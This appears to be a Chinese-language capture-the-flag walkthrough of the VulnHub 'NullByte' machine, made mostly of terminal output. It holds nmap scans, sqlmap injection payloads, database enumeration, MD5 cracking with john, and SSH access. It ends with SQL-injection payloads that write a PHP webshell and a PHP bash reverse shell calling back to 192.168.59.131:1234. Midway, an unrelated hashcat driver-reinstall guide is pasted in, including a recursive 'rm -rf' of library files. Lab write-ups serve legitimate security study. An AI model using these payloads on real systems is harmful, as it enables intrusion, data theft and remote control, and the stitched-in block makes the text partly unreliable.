┌──(kali㉿kali)-[/1-20/Nullbyte] └─$ sudo nmap -sT -sV -sC -O -p80,111,777,46988 192.168.59.133 -oA nmapscan/tcpdetails Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 21:24 EDT Nmap scan report for 192.168.59.133 Host is up (0.00076s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Null Byte 00 - level 1 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 35043/tcp6 status | 100024 1 37122/udp status | 100024 1 46988/tcp status |_ 100024 1 49400/udp6 status 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA) | 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA) | 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA) |_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519) 46988/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:B8:11:D5 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds
┌──(kali㉿kali)-[/1-20/Nullbyte] └─$ sudo nmap --script=vuln -p 80,111,777,46988 192.168.59.133 -oA nmapscan/tcpvuln Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 21:25 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 93.39% done; ETC: 21:26 (0:00:00 remaining) Stats: 0:04:45 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.21% done; ETC: 21:30 (0:00:02 remaining) Nmap scan report for 192.168.59.133 Host is up (0.00060s latency).
PORT STATE SERVICE 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /phpmyadmin/: phpMyAdmin |_ /uploads/: Potentially interesting folder 111/tcp open rpcbind 777/tcp open multiling-http 46988/tcp open unknown MAC Address: 00:0C:29:B8:11:D5 (VMware)
[02:50:29] [DEBUG] declared web page charset 'utf-8' sqlmap resumed the following injection point(s) from stored session: --- Parameter: usrtosearch (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: usrtosearch=root" OR NOT 9840=9840# Vector: OR NOT [INFERENCE]# Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: usrtosearch=root" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71766b6a71,(SELECT (ELT(9245=9245,1))),0x716b787071,0x78))s), 8446744073709551610, 8446744073709551610)))-- Izlj Vector: AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: usrtosearch=root" AND (SELECT 5073 FROM (SELECT(SLEEP(5)))UCBe)-- rtZt Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: usrtosearch=root" UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x4a70655477626d50744d596279654e4f4c6947436b685755734b475668684562626d5652594f5245,0x716b787071),NULL# Vector: UNION ALL SELECT NULL,[QUERY],NULL# --- [02:50:29] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.5 [02:50:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.59.133'
[*] ending @ 02:50:29 /2024-06-18/
很快扫到并给出了payload,然后接下来就可以做sql注入中的信息搜集与爆库爆表等了:
当前数据库banner信息(版本号):
1 2 3 4 5
[03:59:35] [DEBUG] performed 1 query in 0.03 seconds web server operating system: Linux Debian 8 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.5 banner: '5.5.44-0+deb8u1'
当前数据库名:
1
[02:55:24] [DEBUG] performed 1 query in 0.03 seconds current database: 'seth'
当前用户:
1 2
[02:58:26] [DEBUG] performed 1 query in 0.04 seconds current user: 'root@localhost'
当前用户就是root了,运气很好
所有数据库:
1 2 3 4 5 6 7 8
[03:04:25] [DEBUG] performed 1 query in 0.03 seconds available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] seth
seth库中所有表:
1 2 3 4 5 6
[03:06:13] [DEBUG] performed 2 queries in 0.28 seconds Database: seth [1 table] +-------+ | users | +-------+
seth库中users表的所有列:
1 2 3 4 5 6 7 8 9 10 11 12
[03:13:53] [DEBUG] performed 2 queries in 0.06 seconds Database: seth Table: users [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | position | text | | user | text | | id | smallint(6) | | pass | text | +----------+-------------+
1.Completely uninstall the current driver (use Windows Software Center) 2.Reboot 3.Recommended: Download and start Driver Fusion (free version is enough; select “Display”, AMD/NVidia/Intel, ignore the warning about Premium version) 4.Reboot 5.Make sure that no Intel OpenCL SDK, AMD-APP-SDK or CUDA-SDK framework is installed – if it is installed, uninstall it! 6.Manually delete remaining OpenCL.dll, OpenCL32.dll, OpenCL64.dll files on all folders. You should find at least 2. They usually reside in “c:\windows\syswow64” and “c:\windows\system32”. This step is very important! 7.Reboot 8.Install the driver recommended on https://hashcat.net/hashcat/. If it says “exact”, it means exact. 9.Reboot 10.Reinstall hashcat - choose: Stable version: Download and extract the newest hashcat from https://hashcat.net/ Beta version: https://hashcat.net/beta/ Development version: git clone https://github.com/hashcat/hashcat 11.Try to run hashcat --benchmark ------------------------------------------------------ Linux specific steps:
1.Completely uninstall the current driver NVIDIA: nvidia-uninstall AMD: amdconfig --uninstall=force If you installed the driver via a package manager, remove those packages Make sure to purge those packages, not just uninstall them 2.Reboot 3.Make sure that no Intel OpenCL SDK, AMD-APP-SDK or CUDA-SDK framework is installed – if it is installed, uninstall it! 4.Find all packages installed that provide a libOpenCL, then purge them: dpkg -S libOpenCL find / -name libOpenCL\* -print0 | xargs -0 rm -rf 5.Reboot 6.apt-get install ocl-icd-libopencl1 opencl-headers clinfo 7.Install the driver recommended on https://hashcat.net/hashcat/. If it says “exact”, it means exact. For AMD GPUs on Linux, see ROCm instructions here. 8.Reboot 9.rm -rf ~/.hashcat/kernels 10.Reinstall hashcat - choose: Stable version: Download and extract (use “7z x” to extract) the newest hashcat from https://hashcat.net/ Beta version: https://hashcat.net/beta/ Development version: git clone https://github.com/hashcat/hashcat 11.Try to run clinfo first in your terminal 12.Try to run hashcat --benchmark
The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework
┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte] └─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_hash Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3]) Warning: no OpenMP support for this hashtype, consider --fork=8 Press 'q' or Ctrl-C to abort, almost any other key for status omega (?) 1g 0:00:00:00 DONE (2024-06-19 03:15) 100.0g/s 1152Kp/s 1152Kc/s 1152KC/s verbatim..snuffy Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
┌──(kali㉿kali)-[~/Desktop/redteamnotes_benchmark_1-20/vulnhub/Nullbyte] └─$ ssh ramses@192.168.59.133 -p 777 ramses@192.168.59.133's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109 ramses@NullByte:~$ whoami ramses ramses@NullByte:~$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
(视频补充部分)结合mysql文件手工写入简单一句话木马获取shell
视频中还提到了另一种获取立足点的方式,我发现我欠考虑了mysql的banner版本,由于版本5.5.44-0+deb8u1在5.7.6之前,故还可以利用mysql的文件读写功能来实现:
1" union select "<?php system($_GET['cvestone']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- -
这里的uploads是之前目录爆破得到的 尝试是否能访问到木马文件并执行简单命令:
不过相比前面的方式此处获取到的shell权限较低。当然,也可以用哥斯拉等webshell管理器生成的木马,但同样要注意转义。
注意如果要通过此方式执行更多命令时,要记得对特殊字符做url编码后再执行
(视频补充部分)结合mysql文件手工写入大马反弹shell
前面利用小马拿到的shell交互性很有限,因此还可以尝试写入大马:
1" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.59.131/1234 0>&1'\"); ?>",2,3 into outfile "/var/www/html/uploads/revshell.php"; -- -